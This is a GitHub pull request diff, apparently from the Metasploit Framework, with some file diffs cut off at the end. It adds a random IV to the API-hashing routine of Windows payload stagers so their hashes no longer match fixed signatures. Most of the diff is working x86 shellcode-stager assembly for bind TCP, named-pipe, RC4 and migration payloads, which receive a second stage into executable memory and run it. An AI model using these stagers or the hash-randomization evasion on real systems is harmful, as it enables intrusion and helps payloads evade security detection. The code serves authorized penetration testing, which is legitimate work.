Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
19 commits
Select commit Hold shift + click to select a range
ab0fdf9
feat: block api randomization for windows/x64/reverse_tcp
dledda-r7 Apr 15, 2026
a54f29f
feat: block api randomization for x64 payloads
dledda-r7 Apr 15, 2026
8a63392
feat: block api randomization for x86 payloads
dledda-r7 Apr 15, 2026
3233e3c
feat: block api iv randomization in PrependMigrate
dledda-r7 Apr 15, 2026
1f8bb3b
feat: refactor exit function handling to use helper method for block …
dledda-r7 Apr 15, 2026
b8f8366
docs: adding small comment to call out block api randomization
dledda-r7 Apr 15, 2026
2be47db
feat: change exitfunc_helper to be accessible
dledda-r7 Apr 15, 2026
340a724
feat: refactor exit function handling to use block_api_hash
dledda-r7 Apr 15, 2026
a50041b
feat: update register usage for block API calls to use r10d in variou…
dledda-r7 Apr 16, 2026
953d034
fix: updated cache size after blockapi changes
dledda-r7 Apr 16, 2026
2af3bbf
Update lib/msf/core/payload/windows/x64/block_api_x64.rb
dledda-r7 Apr 17, 2026
b3ef4db
Apply suggestion from @smcintyre-r7
dledda-r7 Apr 17, 2026
9d81fe0
Apply suggestion from @smcintyre-r7
dledda-r7 Apr 17, 2026
82c8028
refactor: remove redundant block_api_iv calls in payload generation m…
dledda-r7 Apr 17, 2026
679d2a9
feat: enhance block_api_iv handling with warnings and options for pay…
dledda-r7 Apr 17, 2026
2c58825
Update lib/msf/core/payload/windows/x64/block_api_x64.rb
dledda-r7 Apr 20, 2026
5622bd2
Update lib/msf/core/payload/windows/x64/block_api_x64.rb
dledda-r7 Apr 20, 2026
46553b5
Update lib/msf/core/payload/windows/x64/block_api_x64.rb
dledda-r7 Apr 20, 2026
e404228
fix: block_api.rb update
dledda-r7 Apr 21, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 13 additions & 1 deletion lib/msf/core/payload/windows.rb
Original file line number Diff line number Diff line change
Expand Up @@ -84,7 +84,18 @@ def replace_var(raw, name, offset, pack)
method = datastore[name]
method = 'thread' if (!method or @@exit_types.include?(method) == false)

raw[offset, 4] = [ @@exit_types[method] ].pack(pack || 'V')
if respond_to?(:block_api_hash)
exit_hash = block_api_hash('kernel32.dll', {
'seh' => 'SetUnhandledExceptionFilter',
'thread' => 'ExitThread',
'process' => 'ExitProcess',
'none' => 'GetLastError'
}[method]).to_i(16)
else
exit_hash = @@exit_types[method]
end

raw[offset, 4] = [ exit_hash ].pack(pack || 'V')

return true
end
Expand Down Expand Up @@ -112,6 +123,7 @@ def handle_intermediate_stage(conn, payload)
# data into a buffer which is allocated with VirtualAlloc to avoid running
# out of stack space or NX problems.
# See the source file: /external/source/shellcode/windows/midstager.asm
# TODO: We should update the midstager to use block-api randomization (passing it to metasm, and block api...)
midstager =
"\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b\x12\x8b" +
"\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32\x0f\x85\xeb\xff" +
Expand Down
26 changes: 13 additions & 13 deletions lib/msf/core/payload/windows/bind_named_pipe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -118,7 +118,7 @@ def asm_send_uuid(uuid=nil)
db #{raw_to_db(uuid_raw)} ; lpBuffer
get_uuid_address:
push edi : hPipe
push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')}
push #{block_api_hash('kernel32.dll', 'WriteFile')}
call ebp ; WriteFile(hPipe, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten)
^
end
Expand Down Expand Up @@ -154,7 +154,7 @@ def asm_bind_named_pipe(opts={})
call get_pipe_name ; lpName
db "#{full_pipe_name}", 0x00
get_pipe_name:
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateNamedPipeA')}
push #{block_api_hash('kernel32.dll', 'CreateNamedPipeA')}
call ebp ; CreateNamedPipeA(lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize,
; nInBufferSize, nDefaultTimeOut, lpSecurityAttributes)
mov edi, eax ; save hPipe (using sockedi convention)
Expand All @@ -171,11 +171,11 @@ def asm_bind_named_pipe(opts={})
connect_pipe:
push 0 ; lpOverlapped
push edi ; hPipe
push #{Rex::Text.block_api_hash('kernel32.dll', 'ConnectNamedPipe')}
push #{block_api_hash('kernel32.dll', 'ConnectNamedPipe')}
call ebp ; ConnectNamedPipe(hPipe, lpOverlapped)

; check for failure
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetLastError')}
push #{block_api_hash('kernel32.dll', 'GetLastError')}
call ebp ; GetLastError()
cmp eax, 0x217 ; looking for ERROR_PIPE_CONNECTED
jz get_stage_size ; success
Expand All @@ -184,7 +184,7 @@ def asm_bind_named_pipe(opts={})

; wait before trying again
push #{retry_wait}
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
push #{block_api_hash('kernel32.dll', 'Sleep')}
call ebp ; Sleep(millisecs)
jmp connect_pipe
^
Expand All @@ -202,7 +202,7 @@ def asm_bind_named_pipe(opts={})
push 0 ; lpMaxCollectionCount
push ecx ; lpMode (PIPE_WAIT)
push edi ; hPipe
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetNamedPipeHandleState')}
push #{block_api_hash('kernel32.dll', 'SetNamedPipeHandleState')}
call ebp ; SetNamedPipeHandleState(hPipe, lpMode, lpMaxCollectionCount, lpCollectDataTimeout)
^
end
Expand All @@ -217,7 +217,7 @@ def asm_bind_named_pipe(opts={})
lea ecx, [esp+16] ; lpBuffer
push ecx
push edi ; hPipe
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
push #{block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped)
pop eax ; lpNumberOfBytesRead
pop esi ; lpBuffer (stage size)
Expand All @@ -238,7 +238,7 @@ def asm_bind_named_pipe(opts={})
push 0x1000 ; MEM_COMMIT
push esi ; dwLength
push 0 ; NULL as we dont care where the allocation is
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
push #{block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
^

Expand Down Expand Up @@ -267,7 +267,7 @@ def asm_bind_named_pipe(opts={})
push edx ; nNumberOfBytesToRead
push ebx ; lpBuffer
push edi ; hPipe
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
push #{block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped)
pop edx ; lpNumberOfBytesRead
^
Expand All @@ -283,13 +283,13 @@ def asm_bind_named_pipe(opts={})
push 0x8000 ; MEM_RELEASE
push 0 ; dwSize, 0 to decommit whole block
push ecx ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
push #{block_api_hash('kernel32.dll', 'VirtualFree')}
call ebp ; VirtualFree(payload, 0, MEM_RELEASE)

cleanup_file:
; cleanup the pipe handle
push edi ; file handle
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
push #{block_api_hash('kernel32.dll', 'CloseHandle')}
call ebp ; CloseHandle(hPipe)

jmp failure
Expand Down Expand Up @@ -319,14 +319,14 @@ def asm_bind_named_pipe(opts={})
call get_kernel32_name
db "kernel32", 0x00
get_kernel32_name:
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetModuleHandleA')}
push #{block_api_hash('kernel32.dll', 'GetModuleHandleA')}
call ebp ; GetModuleHandleA("kernel32")

call get_exit_name
db "ExitThread", 0x00
get_exit_name: ; lpProcName
push eax ; hModule
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}
push #{block_api_hash('kernel32.dll', 'GetProcAddress')}
call ebp ; GetProcAddress(hModule, "ExitThread")
push 0 ; dwExitCode
call eax ; ExitProcess(0)
Expand Down
22 changes: 11 additions & 11 deletions lib/msf/core/payload/windows/bind_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -121,14 +121,14 @@ def asm_bind_tcp(opts={})
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
push #{block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )

mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this struct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
push #{block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );

push 11
Expand All @@ -144,7 +144,7 @@ def asm_bind_tcp(opts={})
; we do not specify a protocol [5]
push 1 ; push SOCK_STREAM
push #{addr_fam} ; push AF_INET/6
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
push #{block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this

Expand All @@ -155,7 +155,7 @@ def asm_bind_tcp(opts={})
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
push #{block_api_hash('ws2_32.dll', 'bind')}
call ebp ; bind( s, &sockaddr_in, 16 );
^

Expand All @@ -170,18 +170,18 @@ def asm_bind_tcp(opts={})
asm << %Q^
; backlog, pushed earlier [3]
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
push #{block_api_hash('ws2_32.dll', 'listen')}
call ebp ; listen( s, 0 );

; we set length for the sockaddr struct to zero, pushed earlier [2]
; we dont set the optional sockaddr param, pushed earlier [1]
push edi ; listening socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
push #{block_api_hash('ws2_32.dll', 'accept')}
call ebp ; accept( s, 0, 0 );

push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
push #{block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket( s );
^

Expand All @@ -204,7 +204,7 @@ def asm_block_recv(opts={})
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
push #{block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^

Expand All @@ -223,7 +223,7 @@ def asm_block_recv(opts={})
push 0x1000 ; MEM_COMMIT
push esi ; push the newly received second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
push #{block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
Expand All @@ -233,7 +233,7 @@ def asm_block_recv(opts={})
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
push #{block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
^

Expand Down Expand Up @@ -261,7 +261,7 @@ def asm_block_recv(opts={})
else
asm << %Q^
failure:
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
push #{block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end
Expand Down
8 changes: 4 additions & 4 deletions lib/msf/core/payload/windows/bind_tcp_rc4.rb
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ def asm_block_recv_rc4(opts={})
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
push #{block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^

Expand All @@ -83,7 +83,7 @@ def asm_block_recv_rc4(opts={})
; push esi ; push the newly received second stage length.
push ecx ; push the alloc length
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
push #{block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
; xchg ebx, eax ; ebx = our new memory address for the new stage + S-box
Expand All @@ -96,7 +96,7 @@ def asm_block_recv_rc4(opts={})
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
push #{block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
^

Expand Down Expand Up @@ -138,7 +138,7 @@ def asm_block_recv_rc4(opts={})
else
asm << %Q^
failure:
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
push #{block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end
Expand Down
22 changes: 21 additions & 1 deletion lib/msf/core/payload/windows/block_api.rb
Comment thread
dledda-r7 marked this conversation as resolved.
Original file line number Diff line number Diff line change
Expand Up @@ -10,12 +10,32 @@ module Msf
###
module Payload::Windows::BlockApi

@block_api_iv = nil

def block_api_iv(opts={})
@block_api_iv ||= rand(0x100000000)
end
Comment thread
dledda-r7 marked this conversation as resolved.

def asm_block_api(opts={})
Rex::Payloads::Shuffle.from_graphml_file(
asm = Rex::Payloads::Shuffle.from_graphml_file(
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
arch: ARCH_X86,
name: 'api_call'
)
iv = opts.fetch(:block_api_iv) { block_api_iv }
# Patch the assembly to set the correct IV
# db 0xbf, 0x00, 0x00, 0x00, 0x00 => mov edi, <iv>
iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
unless asm.include?("db 0xbf, 0x00, 0x00, 0x00, 0x00")
raise "Failed to patch block_api assembly with IV 0x#{iv.to_s(16).rjust(8, '0')} (#{iv_bytes})"
end
asm.sub!("db 0xbf, 0x00, 0x00, 0x00, 0x00", "db 0xbf, #{iv_bytes}")
asm
end

def block_api_hash(mod, func, opts={})
iv = opts.fetch(:block_api_iv) { block_api_iv }
Rex::Text.block_api_hash(mod, func, iv: iv)
end

end
Expand Down
12 changes: 6 additions & 6 deletions lib/msf/core/payload/windows/exitfunk.rb
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ def asm_exitfunk(opts={})

when 'seh'
asm << %Q^
mov ebx, 0x#{Msf::Payload::Windows.exit_types['seh'].to_s(16)}
mov ebx, #{block_api_hash('kernel32.dll', 'SetUnhandledExceptionFilter')}
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; SetUnhandledExceptionFilter(0)
Expand All @@ -32,14 +32,14 @@ def asm_exitfunk(opts={})

when 'thread'
asm << %Q^
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" )
mov ebx, #{block_api_hash('kernel32.dll', 'ExitThread')}
push #{block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
jl exitfunk_goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne exitfunk_goodbye ;
mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
mov ebx, #{block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
exitfunk_goodbye: ; We now perform the actual call to the exit function
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
Expand All @@ -48,15 +48,15 @@ def asm_exitfunk(opts={})

when 'process', nil
asm << %Q^
mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)}
mov ebx, #{block_api_hash('kernel32.dll', 'ExitProcess')}
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; ExitProcess(0)
^

when 'sleep'
asm << %Q^
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
mov ebx, #{block_api_hash('kernel32.dll', 'Sleep')}
push 300000 ; 300 seconds
push ebx ; push the hash of the function
call ebp ; Sleep(300000)
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/migrate_common.rb
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ def generate(opts={})
#{generate_migrate(opts)}
signal_event:
push dword [esi] ; Event handle is pointed at by esi
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
push #{block_api_hash('kernel32.dll', 'SetEvent')}
call ebp ; SetEvent(handle)
call_payload:
call dword [esi+8] ; Invoke the associated payload
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/migrate_named_pipe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ def generate_migrate(opts = {})
mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context.
signal_pipe_event:
push dword [esi] ; Event handle is pointed at by esi
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
push #{block_api_hash('kernel32.dll', 'SetEvent')}
call ebp ; SetEvent(handle)
call_pipe_payload:
call dword [esi+8] ; call the associated payload
Expand Down
6 changes: 3 additions & 3 deletions lib/msf/core/payload/windows/migrate_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -34,14 +34,14 @@ def generate_migrate(opts={})
push '32'
push 'ws2_'
push esp ; pointer to 'ws2_32'
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
push #{block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA('ws2_32')
init_networking:
mov eax, #{WSA_VERSION} ; EAX == version, and is also used for size
sub esp, eax ; allocate space for the WSAData structure
push esp ; Pointer to the WSAData structure
push eax ; Version required
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
push #{block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup(Version, &WSAData)
create_socket:
push eax ; eax is 0 on success, use it for flags
Expand All @@ -53,7 +53,7 @@ def generate_migrate(opts={})
push eax ; SOCK_STREAM
inc eax
push eax ; AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
push #{block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)
xchg edi, eax
^
Expand Down
Loading
Loading